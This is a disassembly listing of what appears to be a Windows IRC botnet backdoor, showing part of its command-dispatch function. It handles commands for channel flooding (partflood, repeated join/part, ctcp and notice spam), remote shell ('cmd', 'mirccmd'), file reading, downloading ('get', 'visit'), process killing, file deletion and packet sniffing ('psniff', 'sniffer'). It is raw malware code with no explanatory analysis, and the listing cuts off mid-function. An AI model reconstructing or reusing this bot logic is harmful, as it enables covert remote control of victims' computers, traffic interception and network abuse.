		push	[ebp+esi+var_84]
		call	sub_41C159
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417E06
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B944
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CB7
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_404CB7:				; CODE XREF: sub_401ACD+3173j
					; sub_401ACD+3179j ...
		push	edi
		push	offset dword_42B940
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D21
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D21
		push	offset asc_42CDC8 ; " "
		push	offset dword_42B93C
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_47F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_47F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B92C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D21:				; CODE XREF: sub_401ACD+31F9j
					; sub_401ACD+3204j
		push	edi
		push	offset dword_42B928
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D8B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D8B
		push	offset asc_42CDC8 ; " "
		push	offset dword_42B93C
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4AF4]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4AF4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B914
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404D8B:				; CODE XREF: sub_401ACD+3263j
					; sub_401ACD+326Ej
		push	edi
		push	offset aNt	; "nt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DF5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DF5
		push	offset asc_42CDC8 ; " "
		push	offset dword_42B93C
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_48F0]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_48F0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404DF5:				; CODE XREF: sub_401ACD+32CDj
					; sub_401ACD+32D8j
		push	edi
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E5F
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E5F
		push	offset asc_42CDC8 ; " "
		push	offset dword_42B93C
		push	eax
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_4FF8]
		push	eax
		call	sub_41C890
		add	esp, 14h
		lea	eax, [ebp+var_4FF8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404E5F:				; CODE XREF: sub_401ACD+3337j
					; sub_401ACD+3342j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E9C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404E9C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404E9C:				; CODE XREF: sub_401ACD+33A1j
					; sub_401ACD+33ACj
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404ED9
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404ED9
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404ED9:				; CODE XREF: sub_401ACD+33DEj
					; sub_401ACD+33E9j
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F1B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F1B
		push	offset dword_427620
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_404F1B:				; CODE XREF: sub_401ACD+341Bj
					; sub_401ACD+3426j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F92
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404F92
		nop
		call	near ptr 26B0BDDh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B8]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B8A4
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_17B8]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_404F92:				; CODE XREF: sub_401ACD+345Dj
					; sub_401ACD+3466j
		push	edi
		push	offset dword_42B890
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4050E9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4050E9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427620
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	near ptr 26A0475h
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	near ptr 26A0475h
		nop
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	near ptr 26A0475h
		nop
		push	offset dword_427620
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4050E9:				; CODE XREF: sub_401ACD+34D4j
					; sub_401ACD+34E1j
		push	edi
		push	offset dword_42B88C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405181
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_405181
		nop
		call	near ptr 26B0BDDh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B864
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 24h


loc_405181:				; CODE XREF: sub_401ACD+362Bj
					; sub_401ACD+3638j
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405289
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_405289
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0475h
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	near ptr 26A0475h
		nop
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_405289:				; CODE XREF: sub_401ACD+36C3j
					; sub_401ACD+36D2j
		push	edi
		push	offset aChgnick	; "chgnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4052CE
		lea	eax, [ebp+var_180C]
		push	eax
		call	sub_417E84
		pop	ecx
		lea	eax, [ebp+var_180C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B89C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4052CE:				; CODE XREF: sub_401ACD+37CBj
		push	edi
		push	offset aMsg	; "msg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4053C3
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4053C3
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset dword_42B92C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0475h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B92C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0475h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B92C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4053C3:				; CODE XREF: sub_401ACD+3810j
					; sub_401ACD+381Dj
		push	edi
		push	offset aNotice_0 ; "notice"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054B8
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054B8
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427624
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0475h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0475h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_4054B8:				; CODE XREF: sub_401ACD+3905j
					; sub_401ACD+3912j
		push	edi
		push	offset aCtcp	; "ctcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4055D9
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4055D9
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B81C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26A0475h
		nop
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B804
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0475h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7EC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0475h
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B7EC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h


loc_4055D9:				; CODE XREF: sub_401ACD+39FAj
					; sub_401ACD+3A07j
		push	edi
		push	offset aMix	; "mix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405709
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405709
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B81C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 10h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26A0475h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		nop
		call	near ptr 26A0475h
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h
		call	sub_41C2C2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	near ptr 26A0475h
		nop
		push	offset dword_427624
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_405709:				; CODE XREF: sub_401ACD+3B1Bj
					; sub_401ACD+3B28j
		push	edi
		push	offset aRegister ; "register"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40574D
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40574D
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417B2F
		add	esp, 14h


loc_40574D:				; CODE XREF: sub_401ACD+3C4Bj
					; sub_401ACD+3C56j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619B
		mov	[ebp+arg_18], offset dword_4D4A6C


loc_405769:				; CODE XREF: sub_401ACD+3CC0j
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax-4], 1
		jnz	short loc_40577F
		mov	eax, [eax]
		cmp	eax, ebx
		jbe	short loc_40577F
		push	eax
		call	dword_4CBA7C


loc_40577F:				; CODE XREF: sub_401ACD+3CA3j
					; sub_401ACD+3CA9j
		add	[ebp+arg_18], 210h
		cmp	[ebp+arg_18], offset dword_4DB18C
		jl	short loc_405769
		cmp	[ebp+var_8], ebx
		jnz	loc_40619B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B78C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_40619B
; ---------------------------------------------------------------------------


loc_4057B7:				; CODE XREF: sub_401ACD+3151j
		push	[ebp+arg_8]
		push	offset aNick_0	; "nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aN	; "n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409554
		push	[ebp+arg_8]
		push	offset aJoin	; "join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aJ	; "j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409531
		push	[ebp+arg_8]
		push	offset aPart_0	; "part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aPt	; "pt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409515
		push	[ebp+arg_8]
		push	offset aRaw	; "raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094DB
		push	[ebp+arg_8]
		push	offset aKillthread ; "killthread"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409418
		push	[ebp+arg_8]
		push	offset aC_quit	; "c_quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_q	; "c_q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40936D
		push	[ebp+arg_8]
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aC_rn	; "c_rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40931F
		push	[ebp+arg_8]
		push	offset aPrefix	; "prefix"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aPr	; "pr"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40930A
		push	[ebp+arg_8]
		push	offset aOpen	; "open"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aO	; "o"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E0
		push	[ebp+arg_8]
		push	offset aServer	; "server"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aSe	; "se"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092C7
		push	[ebp+arg_8]
		push	offset aDns	; "dns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aDn	; "dn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925F
		push	[ebp+arg_8]
		push	offset aKillproc ; "killproc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKp	; "kp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409233
		push	[ebp+arg_8]
		push	offset aKill	; "kill"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aKi	; "ki"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091D8
		push	[ebp+arg_8]
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aDel	; "del"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091A0
		push	[ebp+arg_8]
		push	offset aGet	; "get"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aGt	; "gt"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090C3
		push	[ebp+arg_8]
		push	offset aList	; "list"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aLi	; "li"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	[ebp+arg_8]
		push	offset aVisit	; "visit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aV	; "v"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FB5
		push	[ebp+arg_8]
		push	offset aMirccmd	; "mirccmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aMirc	; "mirc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F6F
		push	[ebp+arg_8]
		push	offset aCmd	; "cmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aCm	; "cm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F18
		push	[ebp+arg_8]
		push	offset aReadfile ; "readfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aRf	; "rf"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408EA1
		push	[ebp+arg_8]
		push	offset aPsniff	; "psniff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C9F
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C67
		push	20h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405B91
		push	offset dword_42B694
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405B91:				; CODE XREF: sub_401ACD+40B8j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED4], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_ED0], eax
		jnz	short loc_405BD3
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BD3
		mov	esi, [ebp+var_88]


loc_405BD3:				; CODE XREF: sub_401ACD+40E8j
					; sub_401ACD+40FEj
		push	esi
		lea	eax, [ebp+var_F58]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B664
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_ED8], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F5C]
		push	ebx
		push	eax
		push	offset byte_412B61
		push	ebx
		push	ebx
		nop
		call	near ptr 26A04CCh
		mov	ecx, [ebp+var_ED8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_405C56


loc_405C40:				; CODE XREF: sub_401ACD+4187j
		cmp	[ebp+var_ECC], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0475h
		jmp	short loc_405C40
; ---------------------------------------------------------------------------


loc_405C56:				; CODE XREF: sub_401ACD+4171j
		nop
		call	near ptr 26A0CACh
		push	eax
		push	offset dword_42B628
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C67:				; CODE XREF: sub_401ACD+40A8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	20h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C95
		push	eax
		push	offset dword_42B5EC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405C95:				; CODE XREF: sub_401ACD+41BBj
		push	offset dword_42B5C0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405C9F:				; CODE XREF: sub_401ACD+4093j
		push	[ebp+arg_8]
		push	offset aSniffer	; "sniffer"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DEF
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DB7
		push	21h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405CE1
		push	offset unk_42B598
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405CE1:				; CODE XREF: sub_401ACD+4208j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
